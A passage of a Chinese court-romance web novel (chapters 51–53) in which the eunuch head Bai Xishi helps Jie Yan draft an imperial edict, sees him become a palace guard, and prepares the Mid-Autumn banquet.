这是一篇要向普罗大众公开之文,亦是一篇笼络温暖民心之文,中心思想,罪不在朕,但朕亦愿意赴汤蹈火,为天下除积弊,开先河。 白惜时能够理解皇帝,但皇帝同时偏好骈文,对辞藻对仗要求极高,她写不出那样工整严密的语句,但她知道,解衍一定能够达到皇帝的标准。 因而将以上要求说了,白惜时再抬首,便见男子目光灼灼望向自己,颀长的身姿在烛火的映衬下更加挺拔俊逸,立于书案对面,就这么一瞬不瞬地盯着白惜时。 白惜时起先也算给面子,跟他对盯了一会,但盯得久了,她发现解衍一动不动,还在盯,一直盯,便有些无语。 手指伸长于桌面上用力一敲,白惜时:“能写还是不能写?” 解衍依旧望着她,“能。” “能写那便动笔。咱家脸上有字吗?你盯着我就能写出来罪己诏?” 男子闻言,眉眼弯弯笑意明显,继而掀袍坐于案桌的另一端,提笔研墨,开始按白惜时所言代拟这封皇帝所需的诏书。 白惜时则于一旁兀自看书,等解衍写得差不多了,才会放下书本绕过去瞧一瞧,若是觉得有什么不符合皇帝心意之处,便会立即指出来,叫解衍修改。 白惜时一心扑在这封诏书之上,立于端坐的解衍身后,斟酌推敲每一个字眼。 解衍亦敛目凝神,倾听白惜时所说,当写到一句不常用之言,这个时候似是有感而发想要与白惜时商讨什么,男子微一偏头,目之所及,却是白惜时近在咫尺的侧颈,纤长白皙,上头还闪烁着几颗晶莹剔透的汗珠。 恰在这时,一阵夜风从窗棱中窜了进来,对方鬓边的碎发便这么毫无征兆地被撩起,继而,若有似无拂过了男子的面颊。 很轻,很痒……这缕不听话的发丝不知为什么,好像不仅拂在了解衍的脸上,也潜入般绕于心头,叫人,突然就忘记了方才想要说什么。 解衍怔怔地望着身侧之人,笔尖的墨汁凝结,一不小心,落于宣纸之上映出一个浓稠的墨点,夏夜本就闷热,即便屋中放了冰块,两个人靠得近了,仍能从对方身上感受到传递过来的源源热意。 原本因投入写作而忽略的五感,此刻也毫无征兆地一并恢复了过来。 那种拘谨不自在之感,又开始光顾解衍的周身。 白惜时望见行云流水的字迹当中倏然出现黑点,突兀的停留在上头,蹙眉转头,看向解衍,这一看,便很快发现了异常。 “你怎么流了这么多汗?” 视线交汇间,解衍握住笔杆的手指再次收紧,继而才恍然回神道:“可能是……怕热。” “咱家屋子里头放了这么多处冰,你还热?” 到了夏日,白惜时为防止身份暴露,衣衫下头还裹了一层紧紧的束胸,如此便比旁人怕热很多,因而她的屋中冰块向来充足,一般人是不会感到热意。 但解衍却一派真诚道:“……热的。” “年轻人火力还真是旺。” 随口感慨了一句,白惜时便起身向门边走去,眼下时候已经不早,她腹中亦有饥饿之感。 转过了身,因而白惜时并没有发现男子在听见“火力旺”三个字后,莫名垂下的头颅,以及那隐隐泛着红的耳根。 “叫人上两份冰粥来吧。”白惜时如是吩咐道。 此时诏书的整体框架已经定下,接下来的便是遣词用句,两个人又互相商讨一番,待整篇文章差不多初具雏形,没过一会,冰粥便送了进来。 小丫鬟送来的粥有两种口味,一种甜口,一种无味,每种两份,白惜时今日倒是想再试一试还有没有那么排斥甜,然而盛起一勺送入口中,唔~能接受,但也并没有多喜。 她索性还是换了无味的绿豆粥来食。 解衍选择的是甜粥,男子吃完了自己那一碗,似乎还没有饱,盯了粥盘片刻,瞳仁微动,继而抬起一双漆黑的眸去问白惜时,“掌印,剩下的你还用吗?” 放下勺子,看了眼另一碗没动过的绿豆粥,白惜时:“不用,你自便。” 她一碗便已足够。 闻言目光又在对方脸上凝了片刻,男子长臂一伸,就在白惜时的目光下,他自然而然将那碗只动了一口的甜粥端了过去,继而,送入口中。 “……” 用的,还是白惜时用过的汤匙。 白惜时及时提醒,“那碗咱家吃过。” “嗯?” 男子错愕抬首,恍若不知,这时候对上白惜时的目光才堪堪停了下来,看着手中的粥碗,一副记错了的表情。 白惜时无奈,“放下吧,让人给你重做一碗。” 然而解衍迟疑片刻,却拒绝了白惜时的提议,“不用,左右已经动过了,免得浪费。” 说罢,他便重新低头,又拿起汤匙一勺一勺食用了起来。 见状,白惜时面色怪异,就这么观察着解衍,看他用自己食过的粥碗和汤匙毫无芥蒂的将粥送入口中。 如果说起先白惜时没有发现什么端倪,但时间一久,她便逐渐品出了其中的不对味。 这小子,不会是故意的吧? 于是解衍吃,白惜时便盯着他吃,直到男子在白惜时的目光下动作越来越慢,待咽下最后一口,终是避无可避,解衍抬眼,看向白惜时。 白惜时双眸微眯,“咱家还不知道,原来解公子那么喜欢食甜粥。” 解衍:“……近来比较喜欢。” “甜吗?” “……甜。” “哦。” 白惜时听完点点头,表示理解,继而托腮,就这么好整以暇地望着他,“那你给咱家说说,你的那碗,和咱家的这碗,哪一碗比较甜?” 一句话,直接将解衍定在原地。 “回答不出来?” 白惜时笑眯眯看着他,眼神却已经将解衍整个人看穿看透,“回答不出来就好好写诏书!” 别没事来挑拨咱家的神经! “是。” 男子闻言,重新研墨执笔,然而在落笔前,又低声应了一句。 白惜时没有听清,微一凑近道:“什么?” 解衍此刻似乎连抬起头都费劲,但在听见白惜时询问后,还是坚持着回答了一声,“……掌印的……比较甜。” 50-60 第51章 第51章 翌日,内阁将解衍代拟的这篇罪己诏呈至了天子案前。 连续几日来对诸篇代拟诏书不满的帝王,在翻开这一册之后,目光微顿,继而越往后看眉目越发舒展,最后合上折子往桌上一拍。 “此篇甚合朕意,便这么定下罢。” 众朝臣闻言,均松了口气。 皇帝又问:“此篇为何人所做?” 内阁李大人上前一步,躬身回禀,“乃前任探花郎,清平解家子嗣,解衍。” “解衍。”将这个名字在口中重复了一遍,皇帝瞥了眼立于龙椅下首的白惜时,继而点点头,没有再说什么。 白惜时感念李大人的直言举荐,也明白这是他对于自己看顾赵岳的回馈,解衍是个可塑之才,李大人慧眼如炬,自然也看得出来。 但白惜时同样也明白,只做到如此,还不足以叫皇帝赦免任用,接下来,便要看解衍的运气了。 有时候入仕当官,也要看点气运的,白惜时一直相信这一点。 不然解衍也不会刚中探花没多久便被家族拖累,如今寄居于她的府邸之内。 皇帝亲赴寺庙求雨,文武百官自然不可能随便挑个时间便让皇帝过去,必然是经钦天监反复日观天象,推演测算,选定很有可能下雨的那一日,如此,方可突显皇帝实乃真命天子,天遂其愿。 但古代的天气预测能力,白惜时实在也不能百分百信任,因而这一场雨,便成了解衍能不能就此翻身的一个关键。 若是皇帝祈雨,天降甘霖,那么圣上势必会龙心大悦,如此,这篇甚得圣心的罪己诏便也会一并被提及、重视。 但若是皇帝亲临,滴雨未落,那么白惜时也知道,解衍的这篇文章即便写得再漂亮也无济于事,一切取决于皇帝的心绪,心情心绪不佳,解衍也只能继续等待下一个合适的时机。 但愿,他此次能有这份好运气吧。 圣驾出宫的那一日,声势浩大,明黄的帐子如众星拱月般被一众骑兵和带刀侍卫围在当中,百姓于街道两旁叩首欢呼,祈求年轻的帝王能继续为大魏带来福祉。 白惜时便走在明黄的帐子旁,于两侧乌央乌央的人群中,她抬眼,望向此刻仍旧湛蓝如洗、烈日当空的景象,心下不由生出几分憾然。 既憾然此雨不降,禾苗枯萎,百姓又要饱受灾情之苦,同时,也为解衍遗憾。 正在白惜时兀自思虑间,此刻身侧突然响起了一个声音,“起风了。” 闻声侧首,白惜时看向身旁,此时便见端坐于马上的男子向她示意了眼西南方向,继而低头,笑着提醒了一句,“注意看路,不要发呆。” 继而,男子一夹马腹,越过白惜时,又去前方查看守卫情况。 原来今日出宫祈雨,世子也被调来守卫圣驾。 看着前方有条不紊指挥着的男子,白惜时转而感受着西南方乍起的风,衣摆被轻轻掀起,此时此刻再回忆从前,好像终是可以会心一笑,有什么东西被真正放下了,不再怀揣着曾经的执念。 这样,真是再好不过了。 思及此,又抬头,看向远处隐隐飘过来的连云,白惜时想,是啊,起风了,那便借世子吉言。 待圣驾一行达到开宝寺,早有僧人等候恭迎,祈雨的形式繁复而漫长,需先诵经开坛,继而焚香献祭,最后才是皇帝颁布罪己诏,亲讼祈雨文。 前期一应流程走下来,远方的层云也渐渐被那阵西南风吹聚了过来,起先还热力不减的烈日也被密不透风的云层遮蔽,空气中散发着几分难耐的闷热。 半刻钟后,当皇帝神情肃穆步入坛中,启唇尚未念诵多久,紧接着一道闪电当空而下,雷声阵阵—— 继而,淅淅沥沥的水滴当空落下……众人抬头,是下雨了。 这雨由小渐大,越下越急,噼里啪啦砸于地面,此刻却没人任何人流露出被淋湿的烦恼,很快,皇帝展颜,群臣沸腾,百姓欢呼…… 这真是一场,及时雨! 因为雨势太大,祈福成功后,皇帝一行被留在开宝寺避雨,待一个多时辰后过去,大雨停歇,回宫的途中,尽是百姓高呼“万岁”之声,白惜时被这种喜悦的情绪感染的同时,也知道解衍的事,应该是成了。 果然,第二日早朝,朝臣尽颂昨日之雨解了大魏燃眉之急,百姓均称皇帝实乃真命天子,龙心大悦之余,封赏了开宝寺高僧,并于早朝后的勤政殿内,下令传见解衍。 约莫一个时辰后,解衍被满脸堆笑的小太监请进了皇宫,口中道尽“恭喜”。 立于勤政殿外的露台之上,白惜时就这么看着一身松玉色衣袍的男子,俊逸卓然、从容清隽,在御前小太监的引领下,于一片宽敞的白玉大道中稳稳前行。 一步一个脚印,一步比一步向上,男子很平静,也很沉稳,对接下来即将发生之事似乎已在意料之中。 但就是这样一个看似少年老成之人,在目光触及白惜时的一刹那,整个人都发生了变化,眉眼弯起,笑意明显,绕过小太监的既定路线,阔步走了过来。 “掌印!”男子声线清透。 白惜时看着他,亦回之以微笑,“进去罢。” 解衍:“掌印呢?” “咱家出来透透气,一会便回去。” “好。” 闻言男子点头,转身向回走去,然而走出了几步之后,莫名停步,又回首望向白惜时,似乎在仔细观察对方的神色,继而示意了眼勤政殿的方向,“我于殿内等候掌印。” 白惜时随之一颔首,“去罢。” 片刻之后,男子在小太监的殷勤指引下跨进了大殿之内。随后,红漆色的雕花木门在白惜时的目光下重新阖上,隔绝了里头的声音和视线。 白惜时一直没有进去。 一为避嫌,毕竟解衍眼下算是她引荐之人,虽其中亦有李阁老保举,但还是不要出现为妙。 二为……其实她自己也说不清楚。 若问白惜时当下的感受,怎么说呢,应当是欣慰的。 转眼便快要一年,解衍也为她鞍前马后了一年,现下男子终于抓住机会,就快要回到本该属于自己的位置。 白惜时,也兑现了之前对解衍的承诺。 十个月很长,又好像很短,白惜时也似乎已经习惯只要回到府中,便有个人会雷打不动跟于她身后,“掌印、掌印”地唤着。 不过这个习惯,从今日起,便应该要改回来了。 每个人有每个人该走的人生,能够同行一段,也能算得上是缘分。 白惜时看得很开,因而这段时间解衍偶尔的过界她也没有放在心上,反正都是要离开的,随他去吧。 她相信今日她连对魏廷川的执念都能够放下,再见面时亦可会心一笑,对解衍的离开,应当会坦然镇定许多。 立于殿外的凭栏处,白惜时眺望着一排排红墙黄瓦,兀自想着皇帝最终会给解衍安排个怎样的官职,翰林?还是外派继续历练? 不过不管怎么样,都比现在这种境况要好。 正按照皇帝的喜好推断之际,身后的木门开阖之声再次响起,片刻之后,部分朝臣从里头缓步走出,内阁李大人也身在其中,在接触到白惜时投过来的目光时,老者的面色有些古怪,继而微微冲她摇了摇头。 见状白惜时眉头一凝,怎么回事,难道和预测的不一样,皇帝没有赦免任用解衍? 想到这,白惜时便有些后悔当时没有一起进去,不然,或许还能从中转圜一二。 不过没多久,解衍亦跟着几人的步伐走了出来,男子看起来倒一如平常,甚至眉目疏朗看样子对结果很是满意,这倒是让白惜时难得陷入疑惑。 那为何李大人会……方才里头究竟发生了什么? 等到其余几位官宦散去,解衍这个时候才缓步朝白惜时走了过来,一边走一边笑,最后笔直站定,行礼,“亲军腾镶左卫解衍,见过掌印。” ……? 白惜时怔愣片刻,恍然回神,错愕一问:“怎会是武将?” 还是皇帝亲自执掌的禁卫军? 解衍神采飞扬,看向白惜时:“虽为武将,但亦是天子近臣,属下觉得常于御前行走,机会应该会多过其他。” “就是这个原因?” 听完当即敛下神色,白惜时:“为官入仕最忌投机取巧、好高骛远,你分明有文臣之能,为何舍近求远?” 一见白惜时听此结果并不高兴,解衍面上的笑容才逐渐淡了下来,停顿片刻,他继续道:“除此之外,确实,还有一个原因。” 白惜时蹙眉,“你说。” “腾镶左卫不仅是天子近臣,亦是……掌印近臣。” 白惜时差点以为自己耳朵出问题了,眯起眼睛又问了一遍,“……什么?” 而此刻,解衍却极为认真盯着对面之人,“属下方才进去的时候,掌印是不是已经在思考如何将我送出府邸,与我划清界限?” 所以他才察觉不对,驻足告诉白惜时,他会在殿内等他。 白惜时听到这个问题,扬目回看向男子,没有当即承认也没有否认。 解衍却像是第一时间读懂了她,“所以属下临时改变主意,觉得当务之急……还是需得好好守着掌印。” 闻言,白惜时嗤笑一声,“咱家有什么可守的?” 不知为何,眼前突然就浮现出两张怎么看怎么不顺眼的面孔,一张常年冰封,一张与自己有四、五分相似。 解衍愁眉微凝、神情严肃:“群狼环伺,不得不防。” 白惜时:“什么乱七八糟,这皇宫之中休要胡言乱语!” 虽为斥责,但解衍却隐隐发觉,此时此刻,白惜时的心情倒像是比方才轻快了不少。 遂很快又笑了起来,解衍默然靠近,压低了声线道:“日后宫内行走,诸多不懂之处,还请掌印不吝赐教,多加照拂。” 第52章 第52章 九月初,怡嫔的父亲从江南归京复命,因蝗虫治理成效显著,同时怡嫔娘娘腹中胎儿已过三个月,逐渐稳固,皇帝龙心甚悦,寄希望于此胎怡嫔能给他生下一位皇长子。 诸多喜事汇聚一起,在胎儿尚未出生之时,皇帝便已下旨,擢怡嫔为怡妃,赏赐绫罗珍宝无数。 自上次怡嫔从俞贵妃处归来落红,皇帝虽模糊处之并没有降罪贵妃,但却以养胎为由免了怡嫔向各宫问安的礼节,嘱咐她好生休养,一切以胎儿为重。 一时间,怡妃娘娘成为了后宫中风头正盛的人物。 眼看就快要到中秋,钟毓宫中笑语欢声一片,扶疏向来厨艺了得,做了几样新鲜口味的月饼,怡妃尝了之后赞不绝口,继而心思一动,安排宫人装了盒,想要去御书房给皇帝也送些去尝。 一得知要去御书房,几个宫女都想跟随,怡嫔回过头来,伸出手指一人在她们脑袋上狠狠戳了一下,“你们的心思,本宫还不清楚吗?” 宫中近来都知道,皇帝的御前侍卫中多了一位曾经的探花郎,矜冷卓然,身姿如松,皇帝注重仪表,即便能守卫于御前的男子身形样貌都不错,但解衍还是犹如鹤立鸡群,于一众侍卫中一眼就能被人发现。 宫女们相较于太监,自然是对侍卫更感兴趣,不过怡妃却没有同意,“扶疏跟我去吧,这月饼本来也是你做的。” 扶疏闻言,反有些迟疑,“娘娘,奴婢就不去了,奴婢其实还留了几个月饼……一会想要给掌印送过去。” 白惜时指点扶疏之事,经江小锁的提醒,扶疏最后只告诉了怡妃一人,而怡妃从俞贵妃处回来后一直都在休养,近日胎儿稳固才下地走动,因而一直还未去感谢过白惜时。 当然,上次之事本就隐秘,她虽一直被家中娇养长大,却也不笨,是觉得贸然感谢反而给掌印带来麻烦。 但中秋节倒是个好时候。 怡妃听到这一点头,吩咐宫人备了份节礼一并交给扶疏,“也好,那你去了,便记得也替本宫向掌印问安。” 提着节礼和月饼,扶疏白嫩嫩的脸庞上很快漾起两个酒窝,“是。” 欢欢喜喜来到司礼监,扶疏才发现来送礼打点的不止她一个,不过大多数人都被拒之门外,扶疏也不例外。 可是就在这个时候,她却见一身侍卫服侍的男子越过众人,长腿一迈,就这么畅通无阻走了进去,守门的公公们似乎都与他相熟,连汤序见了还笑与他问了声好。 这人是谁? 扶疏又定睛一观察,才发现那男子不就是方才几位姐姐讨论的那个御前侍卫吗?他来司礼监做些什么? 扶疏一直在司礼监外没有走,最后等熬走了其他各宫之人,终于等到了从内学堂下学回来的江小锁,继而用两块月饼贿赂成功,叫这小太监将自己带了进去。 小锁很够意思地替扶疏进去通报了一声,没过多久,便又笑嘻嘻走了出来,“姐姐,掌印正在整理案册,请您稍候。” 小半刻后,扶疏被请进了内堂,但是出乎小宫女的意料,内堂之中不止掌印,还有那个年轻的侍卫。 不过听几位姐姐说此人向来严谨持重、不苟言笑,可是为何感觉他在面对掌印时,笑意明显? 扶疏奇怪地观察了解衍一会,继而才想起正事,提着食盒给白惜时行礼,“掌印,这是怡妃娘娘让奴婢给您送过来的节礼,娘娘问掌印安,也多谢掌印照拂。哦,还有奴婢做的一些月饼,一并带过来给您尝尝。” 扶疏一边说着一边用手指暗暗扭着食盒,不知道怎么的,一看见白惜时她就紧张,也高兴。 扶疏和其他许多宫女不一样,她们都喜欢高大俊朗的,但扶疏就喜欢漂亮的男子,越漂亮她越喜欢,纵观整个皇宫,她就觉得掌印最漂亮,还位高权重。 反正她是决定留在娘娘身边一辈子的,既然出不了这皇宫,找个对食也好,扶疏心气高,即便找对食,她也要找那个最好的。 所以她便盯上了白惜时,扶疏都打听过了,掌印就喜欢像她这种圆脸盘长得喜庆的姑娘,这可是锦衣卫副指挥使冯大人透露给她的,冯大人还给她拍了胸脯,保准不会错。 想到这,扶疏便一挽耳边碎发,笑容越发甜美,望向上首之人。 白惜时见怪不怪,觉得这小姑娘挺有趣,但解衍此刻,眸色微动,敛去那抹浅笑,不动声色观察着这个陌生的小宫女。 白惜时:“替我多谢娘娘,心意咱家领了,节礼便拿回去吧。” 扶疏起先还有些失落,但随即脚步一顿,又有些欣喜抬头问道:“那掌印的意思,是会收下月饼?” 说罢还特意补充了一句,“这个是奴婢亲手做的,可好吃了。” “……” 唔~还有月饼,这茬倒是给忘了。 看着充满期待的小宫女,还有另一边盯着那盒月饼垂涎欲滴的江小锁,白惜时默了默,最后一挥手,姑且将那盒月饼留了下来。 见白惜时收下,扶疏心满意足,不久之后便欢欢喜喜地走了,江小锁也高兴非常,在白惜时的应允下打开食盒,预备带几块回屋做宵夜吃。 小锁一边用布小心包好,一边又舔了舔手指,“掌印,真的很好吃,您不尝尝吗?这里还有鲜肉馅的,一点都不甜。” 白惜时:“咱家不饿。” 江小锁闻言,很快又机灵地捧起食盒,献宝一般送至解衍面前,“解大人可要尝尝?” 经过这段时间的观察,江小锁已经发现,掌印最好的朋友应该就是这位解大人了,因为他天天来,从御前下值了就来,偶尔还会在司礼监和他们一起用饭。 虽然掌印之前也会说他,让他不要见天的往司礼监跑,但说归说,第二天解大人还是照常来。 后来,掌印索性都懒得说了。 掌印一不说,整个司礼监便也都逐渐默认,解大人于司礼监是可以随意进出的。 因而江小锁觉得,解大人一定是掌印最好的朋友。 解衍垂目望着那盒送至面前的糕点,面上没什么多余的表情,观摩了片刻,继而伸手,拿起一块,送入口中。 江小锁望着正在认真品尝的男子,笑脸相迎,“怎么样,解大人,是不是很不错?” 然而解衍只吃了一口便没有再动,待放下糕点,又喝了一口清茶,才面目中肯地评价了一句 ——“一般。” “……” 江小锁困惑不已,“一般吗?我吃过其他月饼啊,扶疏姐姐做的这个真的要好吃很多。” 解衍闻言,看上去更平静了,又淡淡瞥了江小锁一眼,“……没尝出来。” 江小锁捧着一个食盒怀疑人生,这个时候汤序匆匆来报,说是锦衣卫指挥使亲自送了赵岳回司礼监,概因赵岳练武的时候用力过猛,扭伤了胳膊却一直隐忍不说,今日滕烈才发现,夺下了他手中仍在挥舞的长棍。 白惜时闻言蹙眉,让汤序将人请进来。 滕烈进来的时候,因赵岳之事男子本就眉目冷凝,当看清楚内堂景象,发现解衍也在其中,这种冷凝之感便更重了。 早就听说了解衍拒绝了皇帝授官,而是成为了御前侍卫,众人皆不理解此举何意,甚至有那好事之徒曲解为白惜时故意从中作梗,只为折辱解衍。 但解衍的心思,滕烈怎会不明? 此人,难对付的很。 两个男子自碰面的第一时间便隔空对望了一眼,继而,又同时移开视线。 都说男子看得懂男子,那么几次下来,这位锦衣卫指挥使对掌印是什么想法,解衍自然也看得清楚。 内堂之中莫名一股互相排斥的气息,但白惜时此刻的关注点,却全然放在赵岳的身上。 掀袍起身,白惜时绕出案桌,亲自查看了赵岳的伤势后,眉目冷峻、出言训斥,“咱家与你说过,凡事不可急于求成。你这条胳膊若是废了,日后该当如何?” 谁料赵岳叛逆难驯,反问了白惜时一句,“还有什么日后吗?” 对于他来说,此生不过一个废人,行尸走肉罢了,未来、日后? 根本不值得期盼。 “赵岳。”滕烈沉声阻拦。 白惜时听完,倒是没被这小子的顶撞激怒,甚至点了点头,赞同道:“你若觉得有,便有,你若是觉得没有,便没有。一切取决于你。” 赵岳硬梗着脖子没有说话。 眼见气氛有越来越凝滞的趋势,江小锁见不得这种场面,绞尽脑汁灵机一动,抱着手中现成的月饼出来打圆场,“哎呀,赵岳肯定是饿了都没力气说话。来来,练武回来就该吃些东西垫垫肚子。 说罢举起一个月饼硬塞入对方手中,“赵岳,来,尝一个月饼。” 继而又向滕烈捧起食盒,“指挥使,您也试一试。” 滕烈明白江小锁用意,亦不想见到师徒二人僵持不下的场面,遂配合地拿起一块月饼,率先送入口中。 赵岳见状,磨蹭半晌,也终是在滕烈的目光下,举起月饼,吃了一口。 江小锁瞧见二人动作,总算松了口气。 解衍这个时候亦走了过来,立于白惜时与赵岳之间,一拍少年的肩膀,“若是还没想好有无以后,便先回去将伤治好,以后的事,以后再慢慢考虑,不急于一时。” 一通劝慰圆场之下,赵岳似是也终是放下了那股倔劲,低声向白惜时道了一句“掌印”后,便被刚请来的御医带下去察看伤势。 直到确认赵岳肯接受治伤,亦无什么大碍,滕烈此时才算真正放下心来,也是到了这时候,他才终于品出点了口中吃食的滋味,继而俊眉微挑,扬起手中做工精致的糕点。 “这月饼……” 江小锁一听他这么说便又来了劲,巴巴上前,“怎么样,指挥使?这月饼是不是特别不错?这可是钟毓宫的扶疏姐姐亲手做的,今日特意送来给掌印品尝。” 说罢又眉头微皱,有些不自信道:“可是解大人好似不大喜欢,只说一般。” 江小锁自我怀疑,难道是他从小没吃过什么好东西,因而没见过世面,觉得什么都好吃? 扶疏? 听到这个名字,滕烈冷目微转,似是听冯有程提起过…… 这小宫女,好像对白惜时…… 思及此,瞳仁凝视间,滕烈恰好对上解衍的视线。 两个男子在这一时刻,不知为何,竟达成了一种空前且罕见的默契。 继而,只见滕烈又下意识瞥了白惜时一眼,一清嗓子,将剩下的半块搁了下来,“……确实一般。” 第53章 第53章 中秋将至,圣上预备举办一场群臣宴,邀请四品以上的官员及其家眷共赏明月,同庆佳节。 皇帝一句话,礼部和司礼监顿时忙成一团,场地布置、桌次安排、筵席菜品和表演均得考虑在内,筵席的一应事宜白惜时虽不需事必躬亲,但也得审核把关,确保当日衔接顺畅,不出纰漏。 端静公主这段时日经常会来找白惜时借书,这日白惜时正在审核礼部收集上来的筵席名册,密密麻麻一排,看得她脑仁直犯疼。 汤序得知公主前来,恭敬将其引入偏室,直言掌印正在会客,需得再等上一些时候。 若是平常,公主必定会先行离开,不欲打扰掌印处理正事,但今日,她想了想,还是留了下来。 毕竟每次来司礼监也不是那么容易,她都得避开太后及一应掌事宫女的注意,若是下次再来,中秋佳节便已经过了。 她还有事想要请教掌印。 内堂之中,白惜时对着礼部尚书这个老滑头,将一长串的名册抖开,哗啦啦一长串直垂落到地面。 白惜时:“这么多官员及家眷,礼部确定可以排的过来?” 礼部尚书闻言曹唯“啊”了一声,顶着白惜时算得上锐利的目光,不紧不慢,在那给白惜时装糊涂,“老夫觉得,当可一试。” “……” 再大一倍的场地也试不过来! 曹唯此人,白惜时还算有所了解。 他年近六十,是公认的老好人,在朝中人际关系不错,但该到决断的时候便犹豫不决,究其原因只有一点,怕得罪人。 皇帝自登基以来,宴请群臣包含家眷还是头一次,因而各位官员都想将夫人及子嗣带进宫见见世面,日后也是一份阅历和谈资,更是受族中重视的体现,因而报上来的随行人员颇多,夸张的一下子便报上来了八名家眷。 按理礼部应该对这些人员筛选把关,剔除不合适者,但那些能参加筵席的可都是四品以上的大员啊,曹唯仗着资格老,又想明哲保身,明知不合适还是通通应下,因为这个得罪人的活,他准备转嫁给司礼监。 你看,不是老夫不同意,是他白惜时说人太多了,不行。 那白惜时怕得罪人吗? 不怕,东厂时期她得罪的人多了,必要的决断当作必作,她也不想再跟这老大人打太极,推诿扯皮。 因而将名册重新拍在案几上,白惜时直言不讳。 “这份名册咱家看来不可,每位朝臣至多可带两名家眷,十四岁以下者不可,年事太高者不可,名声不佳者不可,体虚有孕者亦不可。这是我的意思,曹大人觉得呢?” 曹唯似乎等的就是这句话,听完那双混沌的眼也清明起来,琢磨了片刻,一点头道:“掌印所言极是,就按照掌印的意思办。” 白惜时:“……” 送走了礼部尚书曹唯走后,汤序这才来通传,说是端静公主到访,正在偏室等待。 白惜时没多想,以为她又是要来借书,一边看着案册一边点头将人请了进来。 起身与公主见了礼,白惜时便自行埋首于案间,只是过了好半天听不见动静,才又抬起头看向公主。 此时公主正默默捏着手指,静立不动,看样子是在等白惜时。 “公主可是有事?”白惜时起身,走了出来。 端静公主闻言点点头,鼓起勇气,将自己写的一篇从袖中掏了出来,小心翼翼展开在白惜时的面前, “掌印,中秋将至,我准备了一首诗歌想要献给父皇,还自己谱了曲,想要给您先过目。” 端静公主原先在宫中就如同阴影人一般,默默无闻,可她其实也想到得到父皇的关注,因而这次下了很大的决心,也花费了好长的时间,修修改改,才写下了这篇诗歌。 白惜时接过来一览,眼中微讶,很难想象一个如此娟秀文静的小公主,诗歌竟然大气恢宏,部分用词虽仍显稚嫩,但,难掩天赋。 白惜时一句一句读完,点头不吝赞赏,“写得很不错,你的父皇若是看到会很高兴,怡妃娘娘也会很高兴。” 因为这首诗歌为投皇帝所好,其中还有几处写到了祝大魏子嗣绵延,期待麟儿诞生,国祚昌盛之句。 不过说完这句,在小公主喜悦的表情下,白惜时又问了一句,“这后宫之中如今实际的掌权之人,公主知道是谁吗?” 端静公主闻言一愣,继而点头道:“是贵妃娘娘。” 她悟性不错,已经明白了白惜时的未尽之意,知他是在暗示自己这篇诗歌若是中秋之夜送出,可能会惹俞贵妃不快,犹豫了一会,她还是大着胆子争辩, “可她本来就不喜欢我,也不可能会喜欢我的。” 小公主有些早熟,为了在皇宫过得稍微轻松一些,早早就学会了察言观色,她知道俞贵妃因为自己母亲之事,不可能喜欢自己,因而便想要用这一篇诗歌,去尽力取悦自己的父皇。 顺带怡妃娘娘可能也会高兴,何乐而不为? 可白惜时却道:“一篇文章,一个用词,得来的喜,若是与得来的不喜不对等,就得权衡取舍。” 天子身边从不缺恭维之声,而怡妃娘娘此刻风头正盛,锦上添花者繁多。 这篇诗歌是可讨得皇帝与怡妃娘娘的欢喜,但若是俞贵妃因此而忌恨,单凭这一篇诗歌,皇帝和怡妃会护着端静公主吗? 答案是不会的。 不过有些事,白惜时没办法对小公主说的那么直白。 端静公主静默半晌,不知听懂还是没听懂,最后一抬眼,问白惜时:“掌印,那我再回去改一改?” “嗯。” 小公主点点头,将那张写满字的纸折好,小心收回袖子里。走了两步,突然又回头问了一句,“掌印,我现在宁可没那么讨喜,也不能出一点错,对吗?” 白惜时看着她,“对。” 小公主很聪明,也很上进,白惜时又一次感慨,她和她的父亲,的确很像。 送走端静公主后,白惜时一直处理奏章和中秋夜宴安排直到天黑,晚饭过后,解衍便来了,男子坐于案几的另一侧,帮白惜时核对中秋宴的细节。 待几份再次确认无误后,白惜时将递回的文书收好,继而才似是注意到什么,突然看向解衍,“为何你近来一直都是夜里当值?” 按理来说御前侍卫也应当轮班,早晚交替,可解衍已经连续十几日都是在夜间当值,每日巳时去皇帝院外当值,一早再回去睡觉,然后晚饭过后就会过来,陪白惜时处理一个多时辰的文书,再去御前。 长期日夜颠倒,会非常熬人。 解衍听完,回答的却有些敷衍,“新人多少都会这样。” 闻言蹙眉,白惜时问出两个字,“欺生?” 解衍看样子不大想提,只摇头道:“没有。” 可他越是回避,白惜时反而越是在意起此事,仔细一想,许多御前侍卫其实都是世家大族子弟,门第高、背景好,确实可能存在欺压旁人的现象。 可解衍也未免太好说话,别人任意欺压,让他代值夜班,他难道就不知道拒绝吗? 思及此白惜时又看了男子一眼,他既然不说,她亦可以叫人去查,将此事记在心上后,第二日白惜时便叫来汤序去打探,看看解衍是不是在腾镶左卫中受人针对。 吩咐完这件事,她便又被尚膳监请于确认菜肴酒水,一应菜色定下来后,尚膳监的掌事很是有眼力见,命人呈了一盘又红又大的鲜桃过来。 “掌印,这是番邦新进贡的脆桃,滋味很是酸甜清新,中秋夜宴的时候便要用到,您看,您先帮忙品鉴品鉴?” 请人吃桃便请人吃桃,如今她吃个东西,都得用“品鉴”了。 白惜时没回应,不过这桃子瞧着倒真不错,拿了一个正在手中瞧着,这时候就见汤序从尚膳监外走了进来,候在一旁,显然是白惜时方才吩咐的事已经打探回来了。 婉拒了尚膳监一应太监宫女的礼送,白惜时带着汤序一起往勤政殿的方向行去,一边走一边问汤序,“怎么说?” 汤序:“禀掌印,都打探过了,腾镶左卫中无人针对解侍卫,反都对他客气有加,他与一众同僚也相处融洽。毕竟大家都知道他是掌印的人,没有人有那个胆子。” 自己的人? 虽然知道汤序指的是解衍乃属白惜时引荐,但这话,怎么越听越觉得有歧义? 白惜时兀自消化了会,没顾得上计较这些,又问汤序,“那他为何总是值夜?” 汤序看起来也挺费解,“他自己和人换的,都说他抢着值夜,旁人便也就高高兴兴跟他换了。” “……” 白惜时听完,隔了好半响,脸上的表情换都没换过,费解,比汤序还要费解,费解的同时还无语,最后无语的实在没事干,干脆拿起手中的桃,“嘎嘣”一声咬了一口…… 嗯,确实挺脆,跟那小子的硬骨头一样脆。 胆子不小,如今已学会欺瞒她了。 …… 当日夜里晚饭后,解衍一如往常出现在司礼监内堂。 白惜时听见脚步声,掀起眼皮,不咸不淡地望了过去,“怎么,今日又被人针对要去值夜?” 解衍闻言什么都没说,但整个人很快呈现出一副的与世无争之感,用一声云淡风轻叹息代替了回答。 呵,如今演技也越发炉火纯青了。 以前怎么没发现这小子这么能装呢? 白惜时没搭理他,重新捡起桌上的奏章看了起来。 解衍何其敏锐,这个时候便发现白惜时与往常有些不一样,知他可能是弄清楚了自己的换班之事……其实他值夜,自有值夜的原因。 